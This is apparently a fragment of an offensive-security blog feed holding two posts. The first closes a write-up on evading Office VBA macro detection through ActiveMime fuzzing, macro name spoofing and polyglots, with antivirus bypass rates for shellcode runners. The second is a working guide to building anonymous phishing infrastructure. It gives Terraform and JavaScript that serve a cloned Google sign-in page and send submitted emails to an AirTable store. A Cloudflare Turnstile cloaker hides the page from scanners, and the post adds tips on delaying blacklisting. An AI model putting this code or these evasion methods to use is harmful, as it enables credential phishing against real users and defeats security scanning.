<p>While fuzzing the values of this magic tail, I’ve stumbled upon some random byte positions that led to olevba unable to decode the CFB, while Office still correctly opening it, leading to quite good detection bypass as some AVs just couldn’t decompress the data at all.</p>

<p>If you take a look at MS-OVBA, you can see that there are a lot of values that are reserved and/or ignored on read. Then, looking at how oletools and others parse ActiveMime, they all assume that zlib-compressed stream continues till the end of file, which I already demonstrated is not the case. So, while Office ignores some bytes, olevba does not and it’s quite easy to make zlib error out with an unexpected byte in compressed stream.</p>

<p>Also, probably due to slightly different implementation, tampering the actual zlib-stream is also a viable technique - MS Office suppresses some of the errors in the stream and decodes the macros correctly.</p>

<p>This technique isn’t that easy to fully automate as it’s somewhat dependent on specific zlib-stream contents and requires semi-manual fuzzing for each payload.</p>

<h2 id="bypass-rate">Bypass rate</h2>
<p>Now, with the technique actually properly understood, let’s see if it’s any good at evading detection.</p>

<p>I’ll start with the most basic shellcode runner with the usual VirtualAlloc(), RtlMoveMemory() and CreateThread(). The only evasion technique in there will be 1-byte XOR encryption of the payload. This is going to be my benchmark (<a href="https://www.virustotal.com/gui/file/1e1fcaa586f4e013002e3793a4a99ce6b2e5ad6e6ebcc1ab4929a0ee1bc6506a">VirusTotal</a>):</p>

<p><img src="/assets/images/posts/2023-11-02-releasing-activemaim-evade-macros-detection/3.png" alt="Benchmark-runner" /></p>

<p>Converting it to MHTML and applying macro name spoofing for AutoOpen(), it get significantly better (<a href="https://www.virustotal.com/gui/file/3c74164bc5511e194c5f6ff921530cad4fd28ec0c1272b58770581241cbafe8d">VirusTotal</a>):</p>

<p><img src="/assets/images/posts/2023-11-02-releasing-activemaim-evade-macros-detection/4.png" alt="Name-spoofed-runner" /></p>

<p>Let’s sprinkle in a little bit of polyglot powers in there. It gets a little bit better (<a href="https://www.virustotal.com/gui/file/34cb33b4509a9245939ac99357f4830bd4e1406e55f3ad74afee428e052696c7">VirusTotal</a>):</p>

<p><img src="/assets/images/posts/2023-11-02-releasing-activemaim-evade-macros-detection/5.png" alt="Name-spoofed-polyglot-runner" /></p>

<p>I’ve experimented a little bit to figure out what exactly triggers these AVs and it seems more than likely that it’s just the fact of having these sensitive functions like VirtualAlloc() and the overall technique is so old and well-known, it’d be quite hard to get any better results with this particular runner.</p>

<p>But just to demonstrate the power of this thing on something more life-like (nobody is using this old shit, right?), I wrote just a little bit more complicated runner that uses process hollowing and indirect function calls and in its raw form it’s already not so bad (<a href="https://www.virustotal.com/gui/file/a67d5a0f3a9eb51e74f76de8eef950718989c562b40813dce8e0c4248c3111fa">VirusTotal</a>):</p>

<p><img src="/assets/images/posts/2023-11-02-releasing-activemaim-evade-macros-detection/6.png" alt="Sophisticated-runner" /></p>

<p>But after applying macro name spoofing and a little bit of polyglot junk, it gets real good (<a href="https://www.virustotal.com/gui/file/bb9696bb244d258f064536f3a7e2eb6bd095597bad45b27412330369c2b6704a">VirusTotal</a>):</p>

<p><img src="/assets/images/posts/2023-11-02-releasing-activemaim-evade-macros-detection/7.png" alt="Sophisticated-runner" /></p>

<p>And you can also host the VBA part on a remote, which might help in some scenarios.</p>

<h2 id="activemaim">ActiveMaim</h2>

<p>During the research I wrote several snippets to automate the fuzzing which I ended up combining in <a href="https://github.com/ttpreport/activemaim">a simple tool I called ActiveMaim</a>. It’s basically just a proof of concept generator for some of the techniques I’ve described.</p>

<h2 id="other-formats">Other formats</h2>

<p>Just for completeness sake, I want to mention that this macro name spoofing technique works in any other format that uses VbaSuppData, but due to more structured and easy to properly parse nature of those formats, it has much less evasion potential. Take a look at the good old Word 97 .doc detection rate for the same payload that got 9 detections in MHTML (<a href="https://www.virustotal.com/gui/file/601c4fcf7d6f1efd9f7fb568c86937a3cd8f5129fbd2b37eb29665b483559c9d">VirusTotal</a>):</p>

<p><img src="/assets/images/posts/2023-11-02-releasing-activemaim-evade-macros-detection/8.png" alt="Sophisticated-runner" /></p>

<h2 id="conclusion">Conclusion</h2>

<p>I feel like there’s a little bit more sensitive functionality hidden in these bytes or at least a little more work to figure out what to change in CFB to make arbitrary length names work, but I started to dream in hex dumps at some point and decided that it’s gonna be enough for me, at least for now.</p>

<p>While the techniques here are rather impactful, I think that in terms of real-life applicability it’s almost useless, at least against mature organizations. It’s not even a vulnerability, more like undocumented functionality or just an implementation quirk at best. I did the responsible thing and discussed this with MS people prior to publication and they agree with me on this.</p>

<p>The main reason for that is the fact that it does not bypass Trust Center policies - Bad Guys will still have to trick the target to enable macros. Even if they do, most of the time macros will be either strictly controlled or disabled by AD policies. And on top of that, of course, the VBA inside Office documents is a dying out thing anyway. It’s still an interesting way of evading detection, though.</p>

<p>In the end, it’s all somewhat trivial: anything improperly documented and complex enough will lead to different interpretations, which is almost always abusable in some way.</p>]]></content><author><name>TTP Report</name></author><category term="evasion" /><category term="TA0005" /><category term="TA0001" /><category term="vba" /><category term="office" /><summary type="html"><![CDATA[A few months ago JPCERT/CC released a “new” techinque they’ve encountered, where Bad Guys generated a DOC/PDF polyglot to bypass VBA detection. I’ve put “new” in quotes just because veterans definitely remember exactly the same technique being used as early as 2014-2015. Well, maybe novelty here is that the Baddies figured out how good of a polyglot MHT format really is, not sure.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://ttp.report/assets/images/posts/2023-11-02-releasing-activemaim-evade-macros-detection/banner.png" /><media:content medium="image" url="https://ttp.report/assets/images/posts/2023-11-02-releasing-activemaim-evade-macros-detection/banner.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Abusing the cloud: poor man’s phishing infrastructure</title><link href="https://ttp.report/phishing/2023/09/18/abusing-cloud-poor-man-phishing.html" rel="alternate" type="text/html" title="Abusing the cloud: poor man’s phishing infrastructure" /><published>2023-09-18T00:00:00+00:00</published><updated>2023-09-18T00:00:00+00:00</updated><id>https://ttp.report/phishing/2023/09/18/abusing-cloud-poor-man-phishing</id><content type="html" xml:base="https://ttp.report/phishing/2023/09/18/abusing-cloud-poor-man-phishing.html"><![CDATA[<p>There are numerous threat intel reports mentioning abuse of public cloud infrastructure by different groups and individuals. What I want to explore here is how viable this is today and, most importantly, can I do it absolutely anonymously and spending exactly 0 money.
In this writeup I’ll focus on building simple phishing infrastructure.</p>

<p>Preferably, in a way that’s easy to use and to scale while evading blacklisting by the Good Guys, like real big pp hackers supposed to do.</p>

<h2 id="tldr">TL;DR</h2>

<p>A few services from Vercel, Cloudflare and AirTable can be used as a free and anonymous way to serve phishing pages. Besides these, there are a ton of providers with similar abusable offerings. <a href="https://github.com/ttpreport/cloud-phishing">My Terraform for this demo</a> is a non-convergent shit, full of bad practices, but it works.</p>

<h2 id="planning">Planning</h2>
<p>Let’s start with writing down building blocks that this thing requires:</p>
<ul>
  <li>Frontend to store and display this page</li>
  <li>Backend to process the submissions</li>
  <li>Protection from scanners and AVs</li>
  <li>UI to analyze the results</li>
  <li>Automated as much as possible</li>
</ul>

<p>Ideally, I want to decouple everything to make my infra more versatile - I’d want to run different campaigns easily, scale as needed and swap out pieces that get blacklisted.</p>

<p>While frontend can be anything from static page hosting to a simple object storage, backend could be a little more tricky, but considering that I don’t need much business logic, there should be multiple options out there. Data storage might be tricky as well.</p>

<p>In terms of evasion I can’t rely on trying to obfuscate the page contents from the scanners as it will couple evasion and the frontend too much, which will be a pain in the ass to maintain in the long run.</p>

<p>UI is something that has to be 100% SaaS - I don’t want to waste any time coding this.</p>

<p>For automation, I’ll obviously leverage Terraform. Of course, Terraform is about infrastructure only and for content provisioning I’d need other tools, but I’m trying to keep this easy to digest, so I’ll be doing ugly things with Terraform only. So, reader discretion is advised.</p>

<h2 id="frontend">Frontend</h2>
<p>For the phishing page itself, I’ll be using the first screen of Google’s sign in page. Thanks to CodePen, it’s just a matter of a quick search. So, here it is, courtesy of <a href="https://codepen.io/Hasanrza/pen/wvRJBeK">Hasanrza</a>:
<img src="/assets/images/posts/2023-09-18-abusing-cloud-poor-man-phishing/1.png" alt="Phishing page" />
It looks almost identical to the original and there are enough triggering keywords for the scanners, so I’ll be able to evaluate the quality of the evasion techniques later on.</p>

<p>Now, to serve this thing to the public I have multiple options: different object storage providers, different flavors of static website hostings, hell, I can even just publish it on GitHub Pages. The first round of shortlisting is easy, I need something that officially supports Terraform - I want to avoid being compromised myself, but don’t want to do the code review of community providers. Next, I need it to be both free and anonymous (no credits cards or something), so the usual AWS, GCP and Azure aren’t an option. Thankfully, there are still tons of providers left, and with proliferation of “cloud platforms as a service” in the recent years, the list is only getting bigger by the day.</p>

<p>Long story short, I settled on <a href="https://vercel.com/">Vercel</a>. Let’s deploy my phishing page:</p>

<div class="language-terraform highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">resource</span> <span class="s2">"vercel_project"</span> <span class="s2">"phish_frontend"</span> <span class="p">{</span>
  <span class="nx">name</span>      <span class="p">=</span> <span class="s2">"phish-frontend"</span>
<span class="p">}</span>

<span class="k">data</span> <span class="s2">"vercel_project_directory"</span> <span class="s2">"phish_frontend"</span> <span class="p">{</span>
  <span class="nx">path</span> <span class="p">=</span> <span class="s2">"./frontend"</span>
<span class="p">}</span>

<span class="k">resource</span> <span class="s2">"vercel_deployment"</span> <span class="s2">"phish_frontend"</span> <span class="p">{</span>
  <span class="nx">project_id</span>  <span class="p">=</span> <span class="nx">vercel_project</span><span class="p">.</span><span class="nx">phish_frontend</span><span class="p">.</span><span class="nx">id</span>
  <span class="nx">files</span>       <span class="p">=</span> <span class="k">data</span><span class="p">.</span><span class="nx">vercel_project_directory</span><span class="p">.</span><span class="nx">phish_frontend</span><span class="p">.</span><span class="nx">files</span>
  <span class="nx">path_prefix</span> <span class="p">=</span> <span class="s2">"frontend"</span>
  <span class="nx">production</span>  <span class="p">=</span> <span class="kc">true</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Basically, it just takes specified folder and uploads it to the cloud, then serves it as a static website. Which makes it possible to employ dirty Terraform techniques later on to avoid separate provisioning with some other tool. But I’ll settle with a basic setup for now.</p>

<h2 id="backend">Backend</h2>
<p>Arguably the hardest piece here is the backend, because nobody in their right mind will give you a completely anonymous and free full-blown compute. Based on threat intel reports, in similar campaigns, most threat actors use previously compromised servers to host their processing scripts. It’s easy enough, but I think it’s a very brittle approach, because you don’t know when your backend will get detected and taken down, and with tons of unusual traffic, it will probably be very soon.</p>

<p>The thing is, I don’t really need anything complex, I just need something minimal that can catch the form submission and pass it somewhere for storage. This is where serverless compute comes very handy - it’s cheap and simple enough for providers to give it out at free tier.
There a different types of such services: edge compute, serverless functions, workers - whatever you call them, they are basically just stateless one-shot apps, which is exactly what I need.</p>

<p>I decided to not overcomplicate things and use Vercel again as they provide serverless compute as well:</p>

<div class="language-terraform highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">resource</span> <span class="s2">"vercel_project"</span> <span class="s2">"phish_backend"</span> <span class="p">{</span>
  <span class="nx">name</span>      <span class="p">=</span> <span class="s2">"phish-backend"</span>
<span class="p">}</span>

<span class="k">data</span> <span class="s2">"vercel_project_directory"</span> <span class="s2">"phish_backend"</span> <span class="p">{</span>
  <span class="nx">path</span> <span class="p">=</span> <span class="s2">"./backend"</span>
<span class="p">}</span>

<span class="k">resource</span> <span class="s2">"vercel_deployment"</span> <span class="s2">"phish_backend"</span> <span class="p">{</span>
  <span class="nx">project_id</span>  <span class="p">=</span> <span class="nx">vercel_project</span><span class="p">.</span><span class="nx">phish_backend</span><span class="p">.</span><span class="nx">id</span>
  <span class="nx">files</span>       <span class="p">=</span> <span class="k">data</span><span class="p">.</span><span class="nx">vercel_project_directory</span><span class="p">.</span><span class="nx">phish_backend</span><span class="p">.</span><span class="nx">files</span>
  <span class="nx">path_prefix</span> <span class="p">=</span> <span class="s2">"backend"</span>
  <span class="nx">production</span>  <span class="p">=</span> <span class="kc">true</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The idea here is the same as with frontend, but for the backend they require to upload to an <code class="language-plaintext highlighter-rouge">/api/</code> folder and describe the function in a language it supports, like this:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">export</span> <span class="k">default</span> <span class="kd">function</span> <span class="nx">handler</span><span class="p">(</span><span class="nx">request</span><span class="p">,</span> <span class="nx">response</span><span class="p">)</span> <span class="p">{</span>
	<span class="kd">const</span> <span class="p">{</span> <span class="nx">name</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">World</span><span class="dl">'</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">request</span><span class="p">.</span><span class="nx">query</span><span class="p">;</span> 
	<span class="k">return</span> <span class="nx">response</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="s2">`Hello </span><span class="p">${</span><span class="nx">name</span><span class="p">}</span><span class="s2">!`</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And here is the frontend part, that will submit the form:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">onSubmit</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">e</span><span class="p">.</span><span class="nx">preventDefault</span><span class="p">();</span>
    <span class="kd">const</span> <span class="nx">request</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span>
    <span class="nx">request</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">"</span><span class="s2">POST</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">//${domain}/api/process</span><span class="dl">"</span><span class="p">,</span> <span class="kc">false</span><span class="p">);</span>
    <span class="nx">request</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="dl">'</span><span class="s1">Content-type</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">application/x-www-form-urlencoded</span><span class="dl">'</span><span class="p">)</span>
    <span class="nx">request</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="dl">"</span><span class="s2">email=</span><span class="dl">"</span><span class="o">+</span><span class="nx">e</span><span class="p">.</span><span class="nx">target</span><span class="p">.</span><span class="nx">elements</span><span class="p">.</span><span class="nx">email</span><span class="p">.</span><span class="nx">value</span><span class="p">);</span>
    <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span>
        <span class="dl">"</span><span class="s2">https://example.com/</span><span class="dl">"</span><span class="p">,</span>
    <span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="evasion">Evasion</h2>
<p>Now that I have basic frontend and backend kind of functioning, it’s a good point to switch to figuring out evasion.</p>

<p>Funny enough, I couldn’t really use popular URL scanners like VirusTotal, because AVs aren’t doing any live analysis of the page itself - they just check a blacklist. Another fun insight is that multiple fresh (public) tools, claiming to utilize complex AI, ML or whatever else is hype, couldn’t find anything suspicious in my page. I’m not going to shame any specific service, but let’s just say that I could only find 2 that were able to spot the problem:</p>
<ul>
  <li>
    <p><a href="https://scan.safetoopen.com/">STO Scan</a>
<img src="/assets/images/posts/2023-09-18-abusing-cloud-poor-man-phishing/2.png" alt="Initial STO Scan" /></p>
  </li>
  <li>
    <p><a href="https://urlscan.io/">urlscan.io</a>
<img src="/assets/images/posts/2023-09-18-abusing-cloud-poor-man-phishing/3.png" alt="Initial urlscan.io" /></p>
  </li>
</ul>

<p>With such results, the potential campaign will hit the blacklist almost instantly, which is not good. For the reasons I mentioned before, I don’t really want to mess with the page itself, so I could use the more popular approach like use one of the fingerprinting libraries like <a href="https://github.com/fingerprintjs/BotD">BotD</a> to detect bots, but in my experience these aren’t reliable when it comes to AVs and threat scanners.</p>

<p>I was considering using one of the CAPTCHA engines - they get the job done, but it doesn’t look good, even if I target very inexperienced people. And then, while googling about different CAPTCHAs, I learned that Cloudflare relatively recently released a new non-interactive alternative - <a href="https://blog.cloudflare.com/turnstile-private-captcha-alternative/">Turnstile</a>, which turned out to be a fantastic and easy way to do evasion.</p>

<p>Thankfully, Cloudflare’s free tier is anonymous and Turnstile is included. So, let’s spin it up:</p>

<div class="language-terraform highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">resource</span> <span class="s2">"cloudflare_turnstile_widget"</span> <span class="s2">"phish_turnstile"</span> <span class="p">{</span>
  <span class="nx">account_id</span>     <span class="p">=</span> <span class="kd">var</span><span class="p">.</span><span class="nx">cloudflare_account_id</span> 
  <span class="nx">name</span>           <span class="p">=</span> <span class="s2">"My widget"</span>
  <span class="nx">domains</span>        <span class="p">=</span> <span class="p">[</span> <span class="s2">"vercel.app"</span> <span class="p">]</span>
  <span class="nx">mode</span>           <span class="p">=</span> <span class="s2">"invisible"</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now, the idea is simple: if the client can provide correct proof-of-work, I’ll show them the phishing page, otherwise I consider them a bot and show something benign. For this I’ll need backend as well.</p>

<p>My new frontend looks like this now:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;html&gt;</span>
    <span class="nt">&lt;head&gt;</span>
        <span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"</span> <span class="na">defer</span><span class="nt">&gt;&lt;/script&gt;</span>
        <span class="nt">&lt;/head&gt;</span>
        <span class="nt">&lt;body&gt;</span>
            <span class="nt">&lt;div</span> <span class="na">id=</span><span class="s">"container"</span> <span class="na">style=</span><span class="s">"display:none"</span><span class="nt">&gt;&lt;/div&gt;</span>
            <span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"/turnstile.js"</span><span class="nt">&gt;&lt;/script&gt;</span>
            <span class="nt">&lt;noscript&gt;</span>UNDER CONSTRUCTION<span class="nt">&lt;/noscript&gt;</span>
        <span class="nt">&lt;/body&gt;</span>
<span class="nt">&lt;/html&gt;</span>
</code></pre></div></div>

<p>All the magic is inside <code class="language-plaintext highlighter-rouge">turnstile.js</code>:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">window</span><span class="p">.</span><span class="nx">onloadTurnstileCallback</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
    <span class="nx">turnstile</span><span class="p">.</span><span class="nx">render</span><span class="p">(</span><span class="dl">'</span><span class="s1">#container</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
        <span class="na">sitekey</span><span class="p">:</span> <span class="dl">'</span><span class="s1">${sitekey}</span><span class="dl">'</span><span class="p">,</span>
        <span class="na">callback</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">token</span><span class="p">)</span> <span class="p">{</span>
            <span class="kd">const</span> <span class="nx">request</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span>
            <span class="nx">request</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">"</span><span class="s2">POST</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">//${domain}/api/protect</span><span class="dl">"</span><span class="p">,</span> <span class="kc">false</span><span class="p">);</span>
            <span class="nx">request</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="dl">'</span><span class="s1">Content-type</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">application/x-www-form-urlencoded</span><span class="dl">'</span><span class="p">)</span>
            <span class="nx">request</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="dl">"</span><span class="s2">token=</span><span class="dl">"</span><span class="o">+</span><span class="nx">token</span><span class="p">);</span>
            <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="nx">request</span><span class="p">.</span><span class="nx">responseText</span><span class="p">);</span>
        <span class="p">},</span>
    <span class="p">});</span>
<span class="p">};</span>
</code></pre></div></div>

<p>It will dynamically serve the content, based on Turnstile’s evaluation. Most importantly, it has nothing that would trigger external scanners.</p>

<p>On the backend, it takes the token, which user computed locally and sends it to Cloudflare for validation:</p>

<pre><code class="language-node">import { readFileSync } from 'fs';
import path from 'path';

const SECRET_KEY = '${secret}';

export default async (request, response) =&gt; {
    response.setHeader('Access-Control-Allow-Origin', '*')
    response.setHeader('Access-Control-Allow-Methods', 'OPTIONS, POST')
    
    if (request.method === 'OPTIONS') {
        return response.status(200).end();
    }

    const { token } = request.body;
	const ip = request.headers['x-forwarded-for'];
    
    let formData = new FormData();
    formData.append('secret', SECRET_KEY);
    formData.append('response', token);
    formData.append('remoteip', ip);

    try {
        const cf_response = await fetch('https://challenges.cloudflare.com/turnstile/v0/siteverify', {
            body: formData,
            method: 'POST',
        });

        const outcome = await cf_response.json()
        if (outcome.success) {
            const page = path.join(process.cwd(), 'data', 'phish.tpl');
            return response.send(readFileSync(page, 'utf8'));
        } else {
            return response.send('UNDER CONSTRUCTION');
        }
    } catch(err) {
        return response.send("UNDER CONSTRUCTION");
    }
}
</code></pre>

<p>If Cloudflare says that it’s okay, then I can assume that this is human and return phishing page contents, which the frontend script will render, otherwise it will just say “UNDER CONSTRUCTION”.</p>

<p>So, with everything set up, let’s see what the scanners have to say:</p>

<p>STO Scan:
<img src="/assets/images/posts/2023-09-18-abusing-cloud-poor-man-phishing/4.png" alt="Final STO Scan" /></p>

<p>urlscan.io:
<img src="/assets/images/posts/2023-09-18-abusing-cloud-poor-man-phishing/5.png" alt="Final urlscan.io" /></p>

<p>Looks like they don’t evaluate JS deep enough as I don’t see “UNDER CONSTRUCTION” on their screenshots. Welp, I guess private threat scanners are a bit smarter and hopefully my thing will fool them as well. I don’t have access to any of them at the moment, so who knows. In any case, it bypassed everything I had at hand, which is good enough.</p>

<p>This does not protect from “Safe Browsing” features, that are built into the modern browsers as they see everything client-side, including content hidden dynamic rendering. It will definitely flag the page sooner or later, but that’s mostly out of scope of this project. Just a small pro tip: avoid using recognizable input names in the forms to decrease the chance of automated flagging and delay blacklisting.</p>

<h2 id="ui">UI</h2>
<p>Initially, I thought that would be on par with backend in terms of amount of pain the ass, because databases aren’t usually something providers give out for free. I was considering different hacks like storing data in some object storage or edge KV cache, but after a closer look, it turned out to be the easiest part.</p>

<p>There are tons of SaaS platforms for data analysis and aggregation that have free tier with no strings attached. The only thing I need from it is API for data manipulation, which is kind of given in these things. So, I just took the first one Google spat out and it happened to be <a href="https://www.airtable.com/">AirTable</a>.</p>

<p>This is the only thing I didn’t bother to automatically provision, because I’d need to set it up only once (hopefully) and use it for all campaigns.</p>

<p>Quite straightforward - I created an empty table “submissions” with 2 columns: “email” and “created_at”. Latter will be populated automatically. I just need an access token to access the API and then finally provision my backend:</p>

<pre><code class="language-node">const AIRTABLE_KEY = '${key}';
const AIRTABLE_ID = '${id}';
const AIRTABLE_TABLE = '${table}';

export default async (request, response) =&gt; {
    response.setHeader('Access-Control-Allow-Origin', '*')
    response.setHeader('Access-Control-Allow-Methods', 'OPTIONS, POST')
    
    if (request.method === 'OPTIONS') {
        return response.status(200).end();
    }

    const { email } = request.body;

    try {
        const cf_response = await fetch('https://api.airtable.com/v0/'+AIRTABLE_ID+'/'+AIRTABLE_TABLE, {
            body: JSON.stringify({
                "records": [
                  {
                    "fields": {
                      "email": email
                    }
                  }
                ]
              }),
            method: 'POST',
            headers: {
                "Authorization": "Bearer " + AIRTABLE_KEY,
                "Content-Type": "application/json",
            },
        });

        await cf_response.json();
        return response.send("OK");
    } catch(err) {
        return response.send("ERROR");
    }
}
</code></pre>

<p>And that’s it for the UI. You can click around the interface there to create whatever dashboard you need, but I’ll settle for a default grid view for this demo.</p>

<p>Going through the whole flow and submitting my data, everything seem to fall into place and the dashboard is properly populated in real time:</p>

<p><img src="/assets/images/posts/2023-09-18-abusing-cloud-poor-man-phishing/6.gif" alt="Final urlscan.io" /></p>

<h2 id="conclusion">Conclusion</h2>
<p>After all is said and done, complete flow looks like this:</p>

<p><img src="/assets/images/posts/2023-09-18-abusing-cloud-poor-man-phishing/7.png" alt="Final urlscan.io" /></p>

<p>As you can see, all of that was remarkably trivial to set up and I’ve never went over my budget of 0 coins. Looks like, generous marketing offers by the cloud providers are an absolute goldmine, if you are creative enough.</p>

<p>Obviously, this is just a small demo with multiple things intentionally left out. And for the sake of simplicity I did both content and infra provisioning via Terraform, which made it non-convergent and full of bad practices. So, as always, play around at your own risk.</p>

<p>Also, this thing is limited by different free tier confines: serverless functions will only have so much free runs or compute minutes available, domains are pretty ugly and telling, the UI/storage thing is not unlimited too, etc.</p>

<p>Even with all of that in mind and in its current barebones state, this thing could be a quite dangerous tool, if (ab)used correctly.</p>

<p>You can find <a href="https://github.com/ttpreport/cloud-phishing">complete project code on GitHub</a>.</p>]]></content><author><name>TTP Report</name></author><category term="phishing" /><category term="TA0001" /><category term="TA0042" /><category term="cloud" /><category term="terraform" /><category term="phishing" /><summary type="html"><![CDATA[There are numerous threat intel reports mentioning abuse of public cloud infrastructure by different groups and individuals. What I want to explore here is how viable this is today and, most importantly, can I do it absolutely anonymously and spending exactly 0 money. In this writeup I’ll focus on building simple phishing infrastructure.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://ttp.report/assets/images/posts/2023-09-18-abusing-cloud-poor-man-phishing/banner.png" /><media:content medium="image" url="https://ttp.report/assets/images/posts/2023-09-18-abusing-cloud-poor-man-phishing/banner.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>